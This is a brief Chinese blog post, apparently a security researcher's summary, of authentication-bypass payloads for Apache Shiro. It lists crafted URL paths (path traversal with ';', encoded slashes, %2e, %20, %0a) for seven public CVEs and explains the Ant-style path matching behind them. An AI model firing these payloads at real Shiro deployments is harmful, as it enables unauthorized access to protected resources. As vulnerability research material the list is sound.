Ywc's blog

shiro 权限绕过系列汇总

Word count: 286Reading time: 1 min
2022/01/13

权限绕过原理

配置shiroConfig-Filter里的URL是ant格式,路径支持通配符表示。具体逻辑在AntPathMatcher#doMatch

1
2
3
?:匹配一个字符
*:匹配零个或多个字符串
**:匹配路径中的零个或多个路径

payload总结

总结

  • CVE-2016-6802 在访问路径前加上/任意目录名/../,即可绕过访问

  • CVE-2020-1957 /demo/..;/admin/index,其中demo为授权路径,admin/index为鉴权路径 /.;/hello/aaaa

  • CVE-2020-11989 admin/page%252fABCDEFG其中admin/page为鉴权路径,ABCDEFG为随意字符串 /hello/a%25%32%66a /;/test/hello/aaa

  • CVE-2020-13933 admin/%3BABCDEFG,其中admin为鉴权路径,ABCDEFG为随意字符串

  • CVE-2020-17510 admin/%2e

  • CVE-2020-17523 admin/%20,其中admin为鉴权路径

  • CVE-2022-32532 特定条件下的漏洞利用:当shiro使用了RegExPatternMatcher进行路由匹配时,由于Java的正则Pattern.matches解析.默认是不匹配r或者n的,因此当path中带有%0a时可绕过正则匹配 /permit/a%0any

四个CVE分析

Reference

CATALOG
  1. 1. 权限绕过原理
  2. 2. payload总结
    1. 2.1. 总结
  3. 3. 四个CVE分析
  4. 4. Reference